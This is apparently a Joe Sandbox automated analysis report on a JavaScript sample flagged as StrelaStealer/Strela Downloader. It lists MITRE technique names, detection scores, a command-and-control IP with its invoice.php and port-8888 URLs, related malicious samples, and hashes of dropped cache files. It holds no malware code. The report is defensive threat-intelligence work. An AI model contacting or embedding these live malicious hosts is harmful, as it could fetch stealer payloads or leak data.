DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
577119676170175151.js	10%	Virustotal		Browse
577119676170175151.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/al	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.39	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2190112164.000001BFF77D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3432813056.000001BFF7A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2190078882.0000026C61F28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190078882.0000026C61F7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190078882.0000026C61F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/al	net.exe, 00000007.00000002.2190078882.0000026C61F28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590534
Start date and time:	2025-01-14 08:46:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	577119676170175151.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.16.168.107, 2.16.168.105, 23.209.209.135, 84.201.210.39, 2.22.50.131, 2.22.50.144, 13.107.253.45, 52.149.20.212, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:47:04	API Interceptor	24x Sleep call for process: powershell.exe modified
02:47:08	API Interceptor	1x Sleep call for process: net.exe modified
02:47:08	API Interceptor	2x Sleep call for process: svchost.exe modified
02:47:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	217.20.57.20
	40#U0433.doc	Get hash	malicious	Unknown	Browse	84.201.210.39
	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	217.20.57.18
	3.19.1+SetupWIService.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	217.20.57.18
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	217.20.57.20
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	217.20.57.18
	https://support.wt-nx.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	84.201.210.39
	https://support.rv-rw.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	217.20.57.19
bg.microsoft.map.fastly.net	RFQ.exe	Get hash	malicious	Quasar, PureLog Stealer	Browse	199.232.210.172
	possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	3ClBcOpPUX.exe	Get hash	malicious	CyberGate	Browse	199.232.210.172
	40#U0433.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	KymUijfvKi.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	RoYAd85faz.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	40#U0433.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	RoYAd85faz.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	3.19.1+SetupWIService.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726315498618659
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0I:9JZj5MiKNnNhoxut
MD5:	642F3FBEDD47DEAD708E6B27C02BBB0E
SHA1:	D79ADFFCDF8424D750E3EDD77BC60DF0D7F2C64B
SHA-256:	68A473CD7EF0D4C3FD2E6D286F410BFB5B488BFD84D8BD371FAD403669470856
SHA-512:	351AC2BAEC54AA970D06052F8D15C01A7A12350381AD46745489775AAE7FDDDDB77C48176310BA04549B1C987F7D64E81221618B1A4F595B54ABAC6D5A79DD00
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x6396e070, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555640618107404
Encrypted:	false
SSDEEP:	1536:lSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:lazaSvGJzYj2UlmOlOL
MD5:	C63A4504AD8BFD8FB8417A60BC001AA2
SHA1:	3EDE7E6CC7846985B7522B6BE8CBECE4169DFFC4
SHA-256:	A4727966FF58586B4457A94386B60349C20FAE5A02AF0DD051C6994C18AD9A91
SHA-512:	A6AEFF5A69B7C5B06DC09F84EA6347040B67D76759DCD84F97F150BF2C3A360ED139E6C28106E9A60A10AFE4B0A3A250BC4AEC839C4DA676EC3961DC82B0A097
Malicious:	false
Preview:	c..p... .......7.......X\...;...{......................0.e......!...{?../...}C.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................v6./...}......................./...}C..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07914313651511667
Encrypted:	false
SSDEEP:	3:rXKYea2tfNaAPaU1lNaF5tm7alluxmO+l/SNxOf:bKz7hNDPaUQdmagmOH
MD5:	A25AAFF3666D350679DEFCE23642329E
SHA1:	BF19EC73B33DD18E9580BCC49A881F4246EB1D8A
SHA-256:	2F07BA18A0B44ED9F672A6EE368E58B6B67BF0769BECB902E736F84E269A1DB8
SHA-512:	BFF4337A22D60198B0857291AC92A57406B6DC183FD8AE05440A7170B63E50C7CA6FEF252B6B3F4EA60136C0BAC96B657CAF1BC7CD1563891ACF76A813BA215E
Malicious:	false
Preview:	.d.......................................;...{.../...}C..!...{?..........!...{?..!...{?..g...!...{?....................../...}C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.18516483515673
Encrypted:	false
SSDEEP:	6:iO8pN+q2PN72nKuAl9OmbnIFUtWScOFmWZmwoScOFNVkwON72nKuAl9OmbjLJ:7CN+vVaHAahFUtY/W/uaV5OaHAaSJ
MD5:	9666DF4BAB0FBE1375A3B60D51D882D5
SHA1:	5A934C563879E8051A11A6533BB40CD312D53BDA
SHA-256:	E0712B91195EB018E4FC6A3B44B1C0917220821801EE9FF089DCB68B2407DBEA
SHA-512:	B15604BFC2819122639702544EB036611604FF1A326BAF793B3D6F99826D4B0BAD4424EDF4AB9F877C231945E49095598DEBABECDA03B09D30E59083D7FEBAE6
Malicious:	false
Preview:	2025/01/14-02:47:07.929 a3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:47:07.931 a3c Recovering log #3.2025/01/14-02:47:07.931 a3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.18516483515673
Encrypted:	false
SSDEEP:	6:iO8pN+q2PN72nKuAl9OmbnIFUtWScOFmWZmwoScOFNVkwON72nKuAl9OmbjLJ:7CN+vVaHAahFUtY/W/uaV5OaHAaSJ
MD5:	9666DF4BAB0FBE1375A3B60D51D882D5
SHA1:	5A934C563879E8051A11A6533BB40CD312D53BDA
SHA-256:	E0712B91195EB018E4FC6A3B44B1C0917220821801EE9FF089DCB68B2407DBEA
SHA-512:	B15604BFC2819122639702544EB036611604FF1A326BAF793B3D6F99826D4B0BAD4424EDF4AB9F877C231945E49095598DEBABECDA03B09D30E59083D7FEBAE6
Malicious:	false
Preview:	2025/01/14-02:47:07.929 a3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:47:07.931 a3c Recovering log #3.2025/01/14-02:47:07.931 a3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.145120868169585
Encrypted:	false
SSDEEP:	6:iO8UAXMq2PN72nKuAl9Ombzo2jMGIFUtW2zZZmwouOkwON72nKuAl9Ombzo2jMmd:7fAXMvVaHAa8uFUtr/05OaHAa8RJ
MD5:	E540B123EC26FD5AABBED3AEE83782A8
SHA1:	D383550B935E5BDFCB501EE73105CB9842E1F377
SHA-256:	C697086DAEFE3E630CC5A5C5BC60428E3707001C47ABE862CBE38B0F20DBA192
SHA-512:	B68EE41EC193AB8DBA499D93665CFA9922C71CC91C0D6FDD6EE0A3783B1875BDC9AF02B1A764FDB187F08B431FC2D4BC41069F3E5751DE448C8C40AA79DAF463
Malicious:	false
Preview:	2025/01/14-02:47:07.943 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:47:07.944 e24 Recovering log #3.2025/01/14-02:47:07.945 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.145120868169585
Encrypted:	false
SSDEEP:	6:iO8UAXMq2PN72nKuAl9Ombzo2jMGIFUtW2zZZmwouOkwON72nKuAl9Ombzo2jMmd:7fAXMvVaHAa8uFUtr/05OaHAa8RJ
MD5:	E540B123EC26FD5AABBED3AEE83782A8
SHA1:	D383550B935E5BDFCB501EE73105CB9842E1F377
SHA-256:	C697086DAEFE3E630CC5A5C5BC60428E3707001C47ABE862CBE38B0F20DBA192
SHA-512:	B68EE41EC193AB8DBA499D93665CFA9922C71CC91C0D6FDD6EE0A3783B1875BDC9AF02B1A764FDB187F08B431FC2D4BC41069F3E5751DE448C8C40AA79DAF463
Malicious:	false
Preview:	2025/01/14-02:47:07.943 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:47:07.944 e24 Recovering log #3.2025/01/14-02:47:07.945 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\209b1ac0-8e3a-4308-bd41-c6a8e13b8b42.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961917325471821
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqX7sBdOg2HIcaq3QYiubcP7E4T3y:Y2sRdsddMHj3QYhbA7nby
MD5:	0AA8B5E4DECB58EB9E3E394396392EE1
SHA1:	B1D9591B52903847F4987BD3E36F95FB4DCCB03D
SHA-256:	4E4D7CFD9CE286937434B753E5946F27FFCEB39108808A48FA1AB119420BE4CD
SHA-512:	065F2B2E8EE95FDC22D5B8E891844A7865B1A98E0B516B1DA39745AB69208DEF1AD458E66640A9C7CC1ECAE96A79A03272F3F9FE6D66509CDEEA4DAF6664EBF0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400840538601","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115908},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961917325471821
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqX7sBdOg2HIcaq3QYiubcP7E4T3y:Y2sRdsddMHj3QYhbA7nby
MD5:	0AA8B5E4DECB58EB9E3E394396392EE1
SHA1:	B1D9591B52903847F4987BD3E36F95FB4DCCB03D
SHA-256:	4E4D7CFD9CE286937434B753E5946F27FFCEB39108808A48FA1AB119420BE4CD
SHA-512:	065F2B2E8EE95FDC22D5B8E891844A7865B1A98E0B516B1DA39745AB69208DEF1AD458E66640A9C7CC1ECAE96A79A03272F3F9FE6D66509CDEEA4DAF6664EBF0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400840538601","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115908},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.248600538797845
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7JdiDQ:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhN
MD5:	2699463BDFE2095BC641DB7EB0D4C5DF
SHA1:	97789F8E6E209E204943F65058AB00DF6A2989DA
SHA-256:	547DB8A5C222C3FACB1CAFABD6FF0C795027DE08CA0905F1821941696A3BE2C7
SHA-512:	3E0592BE70EAAA238CB7D3403ABABED0FFDEC2CCA7F4207F8F260EB185076A1B5D01C197548BB0508C9E07A52FC010863EBF1AD8C85F9F1E58DC5BB3D7D14791
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1380810901551435
Encrypted:	false
SSDEEP:	6:iO8HquIq2PN72nKuAl9OmbzNMxIFUtWHuZmwoHukwON72nKuAl9OmbzNMFLJ:7AIvVaHAa8jFUtJ/x5OaHAa84J
MD5:	0558CA00441AAE295DA4A2B54B6B5A56
SHA1:	E5FD31F130C9970347972C0582B36BD5C83CFAA8
SHA-256:	4E171222943C3BA714118E67E35B8FF5E679C5989449245BA71DE9229A83B65D
SHA-512:	2DD0FADA2AD15162705125C381E0FC1E3DFB8A0881FC19374BC5550A3BBC987ED6C58208DC9F56309E11066CE7CB193063E783B02E176634144D39292BB2F536
Malicious:	false
Preview:	2025/01/14-02:47:08.230 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:47:08.325 e24 Recovering log #3.2025/01/14-02:47:08.332 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1380810901551435
Encrypted:	false
SSDEEP:	6:iO8HquIq2PN72nKuAl9OmbzNMxIFUtWHuZmwoHukwON72nKuAl9OmbzNMFLJ:7AIvVaHAa8jFUtJ/x5OaHAa84J
MD5:	0558CA00441AAE295DA4A2B54B6B5A56
SHA1:	E5FD31F130C9970347972C0582B36BD5C83CFAA8
SHA-256:	4E171222943C3BA714118E67E35B8FF5E679C5989449245BA71DE9229A83B65D
SHA-512:	2DD0FADA2AD15162705125C381E0FC1E3DFB8A0881FC19374BC5550A3BBC987ED6C58208DC9F56309E11066CE7CB193063E783B02E176634144D39292BB2F536
Malicious:	false
Preview:	2025/01/14-02:47:08.230 e24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:47:08.325 e24 Recovering log #3.2025/01/14-02:47:08.332 e24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444635739934943
Encrypted:	false
SSDEEP:	384:ye6ci5tRiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mis3OazzU89UTTgUL
MD5:	F56ABA77734FE274388B1C51F5E8DD86
SHA1:	95AA67B2BE64239744B6FC43D108FD6CDFB18DD6
SHA-256:	1BCCAF2E4E0FF18578EBBE14428F07C1F6EC67623986F5CF3F517DB294064944
SHA-512:	E96556A2F3A0C4CFF98E640CCBD211424C1AF4660DD20558C63715236C83A8D79D713E65499F39D948A0B7FE2C5406FDDBA0FCEC824D44641042EC6B1600394D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.76828560665262
Encrypted:	false
SSDEEP:	48:7MwFJioyVoQ/ioyzpoy1C7oy16oy1pQ6KOioy1noy1AYoy1Wioy1oioykioyBoyg:7VJuoQ/s2SQyXjBiVb9IVXEBodRBk6
MD5:	939628AB42F49424BA77F664CED7D7F7
SHA1:	2A0174FABA0A03BED040BB39F64C4B5D36C5EDFF
SHA-256:	2A70BBE1AE868F78AF6DEE6D21066A69F86AF2C5898B550477DA0D3E7A9AD37A
SHA-512:	F8408DF9175406045AFA7BD6777F43E0928390FDF701A43F693C5457CC0211834582041C799D2AC1B36907C2632DA9653E1558D2FCB0C245262836ACEF34119D
Malicious:	false
Preview:	.... .c.....>.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

